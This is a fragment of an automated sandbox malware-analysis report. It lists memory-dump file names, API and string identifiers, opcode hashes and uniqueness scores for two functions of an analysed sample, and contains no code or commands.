                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend_wcslen
                                                                                                                                                                            • String ID: ComboBox$ListBox
                                                                                                                                                                            • API String ID: 455545452-1403004172
                                                                                                                                                                            • Opcode ID: fcd37a8ca242b19b50ca36153cbb95c8cae2390e12dca1dcf6e49807b7ddf919
                                                                                                                                                                            • Instruction ID: 72d13aeac174e9c1a3a177398698555a642000804846b33da1492f44d6438514
                                                                                                                                                                            • Opcode Fuzzy Hash: fcd37a8ca242b19b50ca36153cbb95c8cae2390e12dca1dcf6e49807b7ddf919
                                                                                                                                                                            • Instruction Fuzzy Hash: 4D01A77374111067C610BA6A9C01AEB739CABD2364F44443BF94597292EA7DED0E43AA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004342A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _wcslen
                                                                                                                                                                            • String ID: hkG
                                                                                                                                                                            • API String ID: 176396367-3610518997
                                                                                                                                                                            • Opcode ID: 5f07d2af828b567661e14268adc7c222ee2706f89559f7cfcc8218844ad0a738
                                                                                                                                                                            • Instruction ID: 372044899b15e8c53ead78f1c779643819f92c4817f04f111663958edd7e2adf
                                                                                                                                                                            • Opcode Fuzzy Hash: 5f07d2af828b567661e14268adc7c222ee2706f89559f7cfcc8218844ad0a738
                                                                                                                                                                            • Instruction Fuzzy Hash: DCE065736442225B97506A79AC045CBA7D8AFB0370B15482BF880E7310E278E89643E5
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%